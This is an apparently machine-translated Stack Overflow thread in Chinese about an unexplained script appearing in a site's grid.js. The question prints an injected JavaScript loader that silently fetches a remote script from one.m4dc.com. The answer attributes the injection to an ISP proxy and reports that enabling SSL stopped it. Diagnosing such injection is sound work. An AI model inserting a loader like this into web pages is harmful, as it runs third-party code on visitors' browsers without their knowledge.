javascript - 我的项目中无法识别的 JS 脚本

Question

我正在检查加载缓慢的页面，并在 chrome 的检查网络部分找到了这个 si.js。有人可以帮助我了解它是什么。我搜索了 grid.js，但找不到指向此 si.js 的任何链接。 (仔细检查，我可以看到该页面正在重定向到另一个网站“http://one.m4dc.com/j/si.js”。感谢您的帮助这是屏幕截图

更新!如果你转到浏览器 url，这就是我得到的 ../js/grid.js

try{var esdmd51='1f4c5553ab20a8809f7f1724448c2f6e'; var d=document;var esdfd5_uri='http://test.domain.com/js/grid.js?m4dc56=156443';if(0!=e6f744){var e6f744=0;esdfd5=!0}else esdfd5=!1;function ldS(e,t){var a=d.createElement("script");a.type="text/javascript",a.readyState?a.onreadystatechange=function(){"loaded"!=a.readyState&&"complete"!=a.readyState||(a.onreadystatechange=null,t())}:a.onload=function(){t()},a.src=e,d.getElementsByTagName("head")[0].appendChild(a)}try{vA=d.currentScript.async,vD=d.currentScript.defer}catch(e){vA=!0}vA||vD?ldS(esdfd5_uri,function(){}):(d.write('<script id="esdfd556443" type="text/javascript" src="'+esdfd5_uri+'" ><\/script>'),d.getElementById("esdfd556443")||ldS(sdfd5_uri,function(){})),esdfd5&&ldS("http://one.m4dc.com/j/si.js",function(){})}catch(e){

但实际脚本(在本地机器上与原始网站中的脚本相似)

https://tympanus.net/Tutorials/ThumbnailGridExpandingPreview/js/grid.js

Answer 1

我也遇到了同样的问题。我刚刚发现这个脚本 http://one.m4dc.com/j/si.js将 cookie 添加到我的网站

当我将ssl证书添加到我的网站时，问题实际上得到了解决。我发现服务器http://one.m4dc.com属于

Bharthi airtel one.m4dc.com ip location info

我正在使用他们的宽带服务。看起来他们的代理服务器正在注入(inject)这个脚本。他们正在将这个脚本用于恶意目的。